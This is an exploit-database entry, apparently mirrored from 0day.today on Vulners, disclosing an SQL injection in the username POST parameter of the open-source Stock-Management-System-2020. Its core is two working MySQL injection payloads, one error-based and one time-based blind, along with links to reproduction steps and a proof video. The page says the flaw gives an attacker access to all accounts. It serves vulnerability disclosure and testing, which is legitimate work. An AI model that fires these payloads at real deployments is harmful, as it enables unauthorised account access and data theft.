Lucene search
K

Stock Management System 2020 SQL injection Vulnerability

🗓️ 02 Jul 2022 00:00:00Reported by nu11secur1tyType 
zdt
 zdt
🔗 0day.today👁 322 Views

Stock Management System 2020 SQL injection Vulnerability. The username parameter is vulnerable, allowing attacker access to all accounts on the system

Code
## Title: Stock-Management-System-2020 SQLi 
## Author: nu11secur1ty
## Vendor: https://github.com/Dav-ee
## Software: https://github.com/Dav-ee/Stock-Management-System
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020

## Description:
The username parameter appears to be vulnerable to SQL injection attacks. 
The attacker kan take an access to all acounts on this system.
Status: CRITICAL

[+] Payloads:

```mysql
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=RCIdtbFU''' AND (SELECT 9919 FROM(SELECT COUNT(*),CONCAT(0x71787a6271,(SELECT (ELT(9919=9919,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'LcYi'='LcYi&password=g5X!p2l!Q6

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=RCIdtbFU''' AND (SELECT 6942 FROM (SELECT(SLEEP(5)))NOpI) AND 'uUsT'='uUsT&password=g5X!p2l!Q6
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020)

## Proof and Exploit:
[href](https://streamable.com/urkvz7)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation